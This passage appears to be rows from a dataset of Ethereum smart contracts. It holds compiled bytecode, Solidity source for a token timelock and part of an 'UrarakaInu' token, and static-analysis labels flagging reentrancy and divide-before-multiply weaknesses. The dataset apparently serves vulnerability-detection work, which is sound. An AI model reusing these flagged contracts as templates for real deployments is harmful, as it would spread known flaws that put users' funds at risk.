5b505050506040513d601f19601f820116820180604052508101906108609190611852565b600f80546001600160a01b0319166001600160a01b03928316179055600e541663f305d7194730610890816104c0565b6000806108a56000546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c4016060604051808303818588803b15801561090857600080fd5b505af115801561091c573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610941919061186f565b5050600f8054670de0b6b3a764000060105563ffff00ff60a01b198116630101000160a01b17909155600e5460405163095ea7b360e01b81526001600160a01b03918216600482015260001960248201529116915063095ea7b390604401602060405180830381600087803b1580156109b957600080fd5b505af11580156109cd573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906105f5919061189d565b6001600160a01b038316610a535760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610421565b6001600160a01b038216610ab45760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610421565b6001600160a01b0383811660008181526004602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610b795760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610421565b6001600160a01b038216610bdb5760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610421565b60008111610c3d5760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b6064820152608401610421565b6002600a556008600b556000546001600160a01b03848116911614801590610c7357506000546001600160a01b03838116911614155b15610e52576001600160a01b03831660009081526006602052604090205460ff16158015610cba57506001600160a01b03821660009081526006602052604090205460ff16155b610cc357600080fd5b600f546001600160a01b038481169116148015610cee5750600e546001600160a01b03838116911614155b8015610d1357506001600160a01b03821660009081526005602052604090205460ff16155b8015610d285750600f54600160b81b900460ff165b15610d8557601054811115610d3c57600080fd5b6001600160a01b0382166000908152600760205260409020544211610d6057600080fd5b610d6b42601e6118ba565b6001600160a01b0383166000908152600760205260409020555b600f546001600160a01b038381169116148015610db05750600e546001600160a01b03848116911614155b8015610dd557506001600160a01b03831660009081526005602052604090205460ff16155b15610de5576002600a908155600b555b6000610df0306104c0565b600f54909150600160a81b900460ff16158015610e1b5750600f546001600160a01b03858116911614155b8015610e305750600f54600160b01b900460ff165b15610e5057610e3e81610fa5565b478015610e4e57610e4e47610e9c565b505b505b610e5d83838361112e565b505050565b60008184841115610e865760405162461bcd60e51b81526004016104219190611593565b506000610e9384866118d2565b95945050505050565b600c546001600160a01b03166108fc610eb6836002611139565b6040518115909202916000818181858888f19350505050158015610ede573d6000803e3d6000fd5b50600d546001600160a01b03166108fc610ef9836002611139565b6040518115909202916000818181858888f193505050501580156105f5573d6000803e3d6000fd5b6000600854821115610f885760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201526965666c656374696f6e7360b01b6064820152608401610421565b6000610f9261117b565b9050610f9e8382611139565b9392505050565b600f805460ff60a81b1916600160a81b1790556040805160028082526060820183526000926020830190803683370190505090503081600081518110610fed57610fed61180b565b6001600160a01b03928316602091820292909201810191909152600e54604080516315ab88c960e31b81529051919093169263ad5c4648926004808301939192829003018186803b15801561104157600080fd5b505afa158015611055573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906110799190611852565b8160018151811061108c5761108c61180b565b6001600160a01b039283166020918202929092010152600e546110b291309116846109f1565b600e5460405163791ac94760e01b81526001600160a01b039091169063791ac947906110eb9085906000908690309042906004016118e9565b600060405180830381600087803b15801561110557600080fd5b505af1158015611119573d6000803e3d6000fd5b5050600f805460ff60a81b1916905550505050565b610e5d83838361119e565b6000610f9e83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611295565b60008060006111886112c3565b90925090506111978282611139565b9250505090565b6000806000806000806111b087611303565b6001600160a01b038f16600090815260026020526040902054959b509399509197509550935091506111e29087611360565b6001600160a01b03808b1660009081526002602052604080822093909355908a168152205461121190866113a2565b6001600160a01b03891660009081526002602052604090205561123381611401565b61123d848361144b565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8560405161128291815260200190565b60405180910390a3505050505050505050565b600081836112b65760405162461bcd60e51b81526004016104219190611593565b506000610e93848661195a565b6008546000908190678ac7230489e800006112de8282611139565b8210156112fa57505060085492678ac7230489e8000092509050565b90939092509050565b60008060008060008060008060006113208a600a54600b5461146f565b925092509250600061133061117b565b905060008060006113438e8787876114c4565b919e509c509a509598509396509194505050505091939550919395565b6000610f9e83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250610e62565b6000806113af83856118ba565b905083811015610f9e5760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f7700000000006044820152606401610421565b600061140b61117b565b905060006114198383611514565b3060009081526002602052604090205490915061143690826113a2565b30600090815260026020526040902055505050565b6008546114589083611360565b60085560095461146890826113a2565b6009555050565b600080808061148960646114838989611514565b90611139565b9050600061149c60646114838a89611514565b905060006114b4826114ae8b86611360565b90611360565b9992985090965090945050505050565b60008080806114d38886611514565b905060006114e18887611514565b905060006114ef8888611514565b90506000611501826114ae8686611360565b939b939a50919850919650505050505050565b60008261152357506000610388565b600061152f838561197c565b90508261153c858361195a565b14610f9e5760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b6064820152608401610421565b600060208083528351808285015260005b818110156115c0578581018301518582016040015282016115a4565b818111156115d2576000604083870101525b50601f01601f1916929092016040019392505050565b6001600160a01b03811681146104bd57600080fd5b8035611608816115e8565b919050565b6000806040838503121561162057600080fd5b823561162b816115e8565b946020939093013593505050565b60008060006060848603121561164e57600080fd5b8335611659816115e8565b92506020840135611669816115e8565b929592945050506040919091013590565b60006020828403121561168c57600080fd5b8135610f9e816115e8565b80151581146104bd57600080fd5b6000602082840312156116b757600080fd5b8135610f9e81611697565b634e487b7160e01b600052604160045260246000fd5b600060208083850312156116eb57600080fd5b823567ffffffffffffffff8082111561170357600080fd5b818501915085601f83011261171757600080fd5b813581811115611729576117296116c2565b8060051b604051601f19603f8301168101818110858211171561174e5761174e6116c2565b60405291825284820192508381018501918883111561176c57600080fd5b938501935b8285101561179157611782856115fd565b84529385019392850192611771565b98975050505050505050565b600080604083850312156117b057600080fd5b82356117bb816115e8565b915060208301356117cb816115e8565b809150509250929050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b634e487b7160e01b600052603260045260246000fd5b634e487b7160e01b600052601160045260246000fd5b600060001982141561184b5761184b611821565b5060010190565b60006020828403121561186457600080fd5b8151610f9e816115e8565b60008060006060848603121561188457600080fd5b8351925060208401519150604084015190509250925092565b6000602082840312156118af57600080fd5b8151610f9e81611697565b600082198211156118cd576118cd611821565b500190565b6000828210156118e4576118e4611821565b500390565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b818110156119395784516001600160a01b031683529383019391830191600101611914565b50506001600160a01b03969096166060850152505050608001529392505050565b60008261197757634e487b7160e01b600052601260045260246000fd5b500490565b600081600019048311821515161561199657611996611821565b50029056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a264697066735822122015e807cee8eafd7ac41e225b5b25eff07dbcb5a4f7d8eddef0b15870375f3ddd64736f6c63430008090033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}]}}
| 4,422 |
0xA388fdB8761cdEd41962CA8759be6dEf96897C8f
|
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
/**
* @dev Interface of the ERC20 standard as defined in the EIP.
*/
interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
}
/**
* @dev Collection of functions related to the address type
*/
library Address {
/**
* @dev Returns true if `account` is a contract.
*
* [IMPORTANT]
* ====
* It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*
* Among others, `isContract` will return false for the following
* types of addresses:
*
* - an externally-owned account
* - a contract in construction
* - an address where a contract will be created
* - an address where a contract lived, but was destroyed
* ====
*/
function isContract(address account) internal view returns (bool) {
// This method relies on extcodesize, which returns 0 for contracts in
// construction, since the code is only stored at the end of the
// constructor execution.
uint256 size;
assembly {
size := extcodesize(account)
}
return size > 0;
}
/**
* @dev Replacement for Solidity's `transfer`: sends `amount` wei to
* `recipient`, forwarding all available gas and reverting on errors.
*
* https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
* of certain opcodes, possibly making contracts go over the 2300 gas limit
* imposed by `transfer`, making them unable to receive funds via
* `transfer`. {sendValue} removes this limitation.
*
* https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].
*
* IMPORTANT: because control is transferred to `recipient`, care must be
* taken to not create reentrancy vulnerabilities. Consider using
* {ReentrancyGuard} or the
* https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
*/
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
(bool success, ) = recipient.call{value: amount}("");
require(success, "Address: unable to send value, recipient may have reverted");
}
/**
* @dev Performs a Solidity function call using a low level `call`. A
* plain `call` is an unsafe replacement for a function call: use this
* function instead.
*
* If `target` reverts with a revert reason, it is bubbled up by this
* function (like regular Solidity function calls).
*
* Returns the raw returned data. To convert to the expected return value,
* use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].
*
* Requirements:
*
* - `target` must be a contract.
* - calling `target` with `data` must not revert.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with
* `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCall(
address target,
bytes memory data,
string memory errorMessage
) internal returns (bytes memory) {
return functionCallWithValue(target, data, 0, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but also transferring `value` wei to `target`.
*
* Requirements:
*
* - the calling contract must have an ETH balance of at least `value`.
* - the called Solidity function must be `payable`.
*
* _Available since v3.1._
*/
function functionCallWithValue(
address target,
bytes memory data,
uint256 value
) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
/**
* @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but
* with `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCallWithValue(
address target,
bytes memory data,
uint256 value,
string memory errorMessage
) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
require(isContract(target), "Address: call to non-contract");
(bool success, bytes memory returndata) = target.call{value: value}(data);
return _verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {
return functionStaticCall(target, data, "Address: low-level static call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(
address target,
bytes memory data,
string memory errorMessage
) internal view returns (bytes memory) {
require(isContract(target), "Address: static call to non-contract");
(bool success, bytes memory returndata) = target.staticcall(data);
return _verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a delegate call.
*
* _Available since v3.4._
*/
function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) {
return functionDelegateCall(target, data, "Address: low-level delegate call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a delegate call.
*
* _Available since v3.4._
*/
function functionDelegateCall(
address target,
bytes memory data,
string memory errorMessage
) internal returns (bytes memory) {
require(isContract(target), "Address: delegate call to non-contract");
(bool success, bytes memory returndata) = target.delegatecall(data);
return _verifyCallResult(success, returndata, errorMessage);
}
function _verifyCallResult(
bool success,
bytes memory returndata,
string memory errorMessage
) private pure returns (bytes memory) {
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
/**
* @title SafeERC20
* @dev Wrappers around ERC20 operations that throw on failure (when the token
* contract returns false). Tokens that return no value (and instead revert or
* throw on failure) are also supported, non-reverting calls are assumed to be
* successful.
* To use this library you can add a `using SafeERC20 for IERC20;` statement to your contract,
* which allows you to call the safe operations as `token.safeTransfer(...)`, etc.
*/
library SafeERC20 {
using Address for address;
function safeTransfer(
IERC20 token,
address to,
uint256 value
) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(
IERC20 token,
address from,
address to,
uint256 value
) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
/**
* @dev Deprecated. This function has issues similar to the ones found in
* {IERC20-approve}, and its usage is discouraged.
*
* Whenever possible, use {safeIncreaseAllowance} and
* {safeDecreaseAllowance} instead.
*/
function safeApprove(
IERC20 token,
address spender,
uint256 value
) internal {
// safeApprove should only be called when setting an initial allowance,
// or when resetting it to zero. To increase and decrease it, use
// 'safeIncreaseAllowance' and 'safeDecreaseAllowance'
require(
(value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance"
);
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function safeIncreaseAllowance(
IERC20 token,
address spender,
uint256 value
) internal {
uint256 newAllowance = token.allowance(address(this), spender) + value;
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
function safeDecreaseAllowance(
IERC20 token,
address spender,
uint256 value
) internal {
unchecked {
uint256 oldAllowance = token.allowance(address(this), spender);
require(oldAllowance >= value, "SafeERC20: decreased allowance below zero");
uint256 newAllowance = oldAllowance - value;
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
}
/**
* @dev Imitates a Solidity high-level call (i.e. a regular function call to a contract), relaxing the requirement
* on the return value: the return value is optional (but if data is returned, it must not be false).
* @param token The token targeted by the call.
* @param data The call data (encoded using abi.encode or one of its variants).
*/
function _callOptionalReturn(IERC20 token, bytes memory data) private {
// We need to perform a low level call here, to bypass Solidity's return data size checking mechanism, since
// we're implementing it ourselves. We use {Address.functionCall} to perform this call, which verifies that
// the target address contains contract code and also asserts for success in the low-level call.
bytes memory returndata = address(token).functionCall(data, "SafeERC20: low-level call failed");
if (returndata.length > 0) {
// Return data is optional
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
/**
* @dev A token holder contract that will allow a beneficiary to withdraw the
* tokens after a given release time.
*/
contract UnsupervisedTimelock {
using SafeERC20 for IERC20;
// Seconds of a day
uint256 private constant SECONDS_OF_A_DAY = 86400;
// beneficiary of tokens after they are released
address private immutable _beneficiary;
// The start timestamp of token release period.
//
// Before this time, the beneficiary can NOT withdraw any token from this contract.
uint256 private immutable _releaseStartTime;
// The days that the timelock will last.
uint256 private immutable _daysOfTimelock;
// The OctToken contract
IERC20 private immutable _token;
// Total balance of benefit
uint256 private immutable _totalBenefit;
// The amount of withdrawed balance of the beneficiary.
//
// This value will be updated on each withdraw operation.
uint256 private _withdrawedBalance;
event BenefitWithdrawed(address indexed beneficiary, uint256 amount);
constructor(
IERC20 token_,
address beneficiary_,
uint256 releaseStartTime_,
uint256 daysOfTimelock_,
uint256 totalBenefit_
) {
_token = token_;
_beneficiary = beneficiary_;
_releaseStartTime =
releaseStartTime_ -
(releaseStartTime_ % SECONDS_OF_A_DAY);
require(
releaseStartTime_ -
(releaseStartTime_ % SECONDS_OF_A_DAY) +
daysOfTimelock_ *
SECONDS_OF_A_DAY >
block.timestamp,
"UnsupervisedTimelock: release end time is before current time"
);
_daysOfTimelock = daysOfTimelock_;
_totalBenefit = totalBenefit_;
_withdrawedBalance = 0;
}
/**
* @return the token being held.
*/
function token() public view returns (IERC20) {
return _token;
}
/**
* @return the beneficiary address
*/
function beneficiary() public view returns (address) {
return _beneficiary;
}
/**
* @return the total balance of benefit
*/
function totalBenefit() public view returns (uint256) {
return _totalBenefit;
}
/**
* @return the balance to release for the beneficiary at the moment
*/
function releasedBalance() public view returns (uint256) {
if (block.timestamp <= _releaseStartTime) return 0;
if (
block.timestamp >
_releaseStartTime + SECONDS_OF_A_DAY * _daysOfTimelock
) {
return _totalBenefit;
}
uint256 passedDays = (block.timestamp - _releaseStartTime) /
SECONDS_OF_A_DAY;
return (_totalBenefit * passedDays) / _daysOfTimelock;
}
/**
* @return the unreleased balance of the beneficiary at the moment
*/
function unreleasedBalance() public view returns (uint256) {
return _totalBenefit - releasedBalance();
}
/**
* @return the withdrawed balance of beneficiary
*/
function withdrawedBalance() public view returns (uint256) {
return _withdrawedBalance;
}
/**
* @notice Withdraws tokens to beneficiary
*/
function withdraw() public {
uint256 balanceShouldBeReleased = releasedBalance();
require(
balanceShouldBeReleased > _withdrawedBalance,
"UnsupervisedTimelock: no more benefit can be withdrawed now"
);
uint256 balanceShouldBeTransfered = balanceShouldBeReleased -
_withdrawedBalance;
require(
token().balanceOf(address(this)) >= balanceShouldBeTransfered,
"UnsupervisedTimelock: deposited balance is not enough"
);
_withdrawedBalance = balanceShouldBeReleased;
token().safeTransfer(_beneficiary, balanceShouldBeTransfered);
emit BenefitWithdrawed(_beneficiary, balanceShouldBeTransfered);
}
}
|
0x608060405234801561001057600080fd5b506004361061007d5760003560e01c806391eeab851161005b57806391eeab85146100c85780639ab4b22f146100e6578063f50c8e2d14610104578063fc0c546a146101225761007d565b806338af3eed146100825780633ccfd60b146100a05780636b37cc14146100aa575b600080fd5b61008a610140565b6040516100979190610a1c565b60405180910390f35b6100a8610168565b005b6100b2610366565b6040516100bf9190610b3d565b60405180910390f35b6100d06103a0565b6040516100dd9190610b3d565b60405180910390f35b6100ee6103a9565b6040516100fb9190610b3d565b60405180910390f35b61010c610500565b6040516101199190610b3d565b60405180910390f35b61012a610528565b6040516101379190610a60565b60405180910390f35b60007f0000000000000000000000009f59a45047163b9f4d61976a8be3894f257291df905090565b60006101726103a9565b905060005481116101b8576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016101af90610a9d565b60405180910390fd5b60008054826101c79190610c6b565b9050806101d2610528565b73ffffffffffffffffffffffffffffffffffffffff166370a08231306040518263ffffffff1660e01b815260040161020a9190610a1c565b60206040518083038186803b15801561022257600080fd5b505afa158015610236573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061025a9190610896565b101561029b576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161029290610abd565b60405180910390fd5b816000819055506102f47f0000000000000000000000009f59a45047163b9f4d61976a8be3894f257291df826102cf610528565b73ffffffffffffffffffffffffffffffffffffffff166105509092919063ffffffff16565b7f0000000000000000000000009f59a45047163b9f4d61976a8be3894f257291df73ffffffffffffffffffffffffffffffffffffffff167f26b111a6f79cb1f14e797207bb7f2095963c467ca641399e15f7b2a02fb44cf98260405161035a9190610b3d565b60405180910390a25050565b60006103706103a9565b7f0000000000000000000000000000000000000000000208ecde01d9674980000061039b9190610c6b565b905090565b60008054905090565b60007f00000000000000000000000000000000000000000000000000000000612ec28042116103db57600090506104fd565b7f00000000000000000000000000000000000000000000000000000000000004486201518061040a9190610c11565b7f00000000000000000000000000000000000000000000000000000000612ec2806104359190610b8a565b421115610464577f0000000000000000000000000000000000000000000208ecde01d9674980000090506104fd565b6000620151807f00000000000000000000000000000000000000000000000000000000612ec280426104969190610c6b565b6104a09190610be0565b90507f0000000000000000000000000000000000000000000000000000000000000448817f0000000000000000000000000000000000000000000208ecde01d967498000006104ef9190610c11565b6104f99190610be0565b9150505b90565b60007f0000000000000000000000000000000000000000000208ecde01d96749800000905090565b60007f000000000000000000000000f5cfbc74057c610c8ef151a439252680ac68c6dc905090565b6105d18363a9059cbb60e01b848460405160240161056f929190610a37565b604051602081830303815290604052907bffffffffffffffffffffffffffffffffffffffffffffffffffffffff19166020820180517bffffffffffffffffffffffffffffffffffffffffffffffffffffffff83818316178352505050506105d6565b505050565b6000610638826040518060400160405280602081526020017f5361666545524332303a206c6f772d6c6576656c2063616c6c206661696c65648152508573ffffffffffffffffffffffffffffffffffffffff1661069d9092919063ffffffff16565b90506000815111156106985780806020019051810190610658919061086d565b610697576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161068e90610b1d565b60405180910390fd5b5b505050565b60606106ac84846000856106b5565b90509392505050565b6060824710156106fa576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016106f190610add565b60405180910390fd5b610703856107c9565b610742576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161073990610afd565b60405180910390fd5b6000808673ffffffffffffffffffffffffffffffffffffffff16858760405161076b9190610a05565b60006040518083038185875af1925050503d80600081146107a8576040519150601f19603f3d011682016040523d82523d6000602084013e6107ad565b606091505b50915091506107bd8282866107dc565b92505050949350505050565b600080823b905060008111915050919050565b606083156107ec5782905061083c565b6000835111156107ff5782518084602001fd5b816040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016108339190610a7b565b60405180910390fd5b9392505050565b60008151905061085281610f12565b92915050565b60008151905061086781610f29565b92915050565b60006020828403121561087f57600080fd5b600061088d84828501610843565b91505092915050565b6000602082840312156108a857600080fd5b60006108b684828501610858565b91505092915050565b6108c881610c9f565b82525050565b60006108d982610b58565b6108e38185610b6e565b93506108f3818560208601610d0b565b80840191505092915050565b61090881610ce7565b82525050565b600061091982610b63565b6109238185610b79565b9350610933818560208601610d0b565b61093c81610d9c565b840191505092915050565b6000610954603b83610b79565b915061095f82610dad565b604082019050919050565b6000610977603583610b79565b915061098282610dfc565b604082019050919050565b600061099a602683610b79565b91506109a582610e4b565b604082019050919050565b60006109bd601d83610b79565b91506109c882610e9a565b602082019050919050565b60006109e0602a83610b79565b91506109eb82610ec3565b604082019050919050565b6109ff81610cdd565b82525050565b6000610a1182846108ce565b915081905092915050565b6000602082019050610a3160008301846108bf565b92915050565b6000604082019050610a4c60008301856108bf565b610a5960208301846109f6565b9392505050565b6000602082019050610a7560008301846108ff565b92915050565b60006020820190508181036000830152610a95818461090e565b905092915050565b60006020820190508181036000830152610ab681610947565b9050919050565b60006020820190508181036000830152610ad68161096a565b9050919050565b60006020820190508181036000830152610af68161098d565b9050919050565b60006020820190508181036000830152610b16816109b0565b9050919050565b60006020820190508181036000830152610b36816109d3565b9050919050565b6000602082019050610b5260008301846109f6565b92915050565b600081519050919050565b600081519050919050565b600081905092915050565b600082825260208201905092915050565b6000610b9582610cdd565b9150610ba083610cdd565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff03821115610bd557610bd4610d3e565b5b828201905092915050565b6000610beb82610cdd565b9150610bf683610cdd565b925082610c0657610c05610d6d565b5b828204905092915050565b6000610c1c82610cdd565b9150610c2783610cdd565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0483118215151615610c6057610c5f610d3e565b5b828202905092915050565b6000610c7682610cdd565b9150610c8183610cdd565b925082821015610c9457610c93610d3e565b5b828203905092915050565b6000610caa82610cbd565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b6000610cf282610cf9565b9050919050565b6000610d0482610cbd565b9050919050565b60005b83811015610d29578082015181840152602081019050610d0e565b83811115610d38576000848401525b50505050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b6000601f19601f8301169050919050565b7f556e7375706572766973656454696d656c6f636b3a206e6f206d6f726520626560008201527f6e656669742063616e2062652077697468647261776564206e6f770000000000602082015250565b7f556e7375706572766973656454696d656c6f636b3a206465706f73697465642060008201527f62616c616e6365206973206e6f7420656e6f7567680000000000000000000000602082015250565b7f416464726573733a20696e73756666696369656e742062616c616e636520666f60008201527f722063616c6c0000000000000000000000000000000000000000000000000000602082015250565b7f416464726573733a2063616c6c20746f206e6f6e2d636f6e7472616374000000600082015250565b7f5361666545524332303a204552433230206f7065726174696f6e20646964206e60008201527f6f74207375636365656400000000000000000000000000000000000000000000602082015250565b610f1b81610cb1565b8114610f2657600080fd5b50565b610f3281610cdd565b8114610f3d57600080fd5b5056fea2646970667358221220d64301bb2e01bd50ccf6f1b3e32ab3dd016930675ceb384fec7a4cb0beb8076064736f6c63430008040033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "divide-before-multiply", "impact": "Medium", "confidence": "Medium"}]}}
| 4,423 |
0x31adb5cc262c4e6cbfd444e7b1bd79b617a2fda1
|
/**
*Submitted for verification at Etherscan.io on 2021-10-16
*/
/**
* https://t.me/UrarakaInu
**/
//SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.4;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}
contract UrarakaInu is Context, IERC20, Ownable {
using SafeMath for uint256;
mapping (address => uint256) private _rOwned;
mapping (address => uint256) private _tOwned;
mapping (address => mapping (address => uint256)) private _allowances;
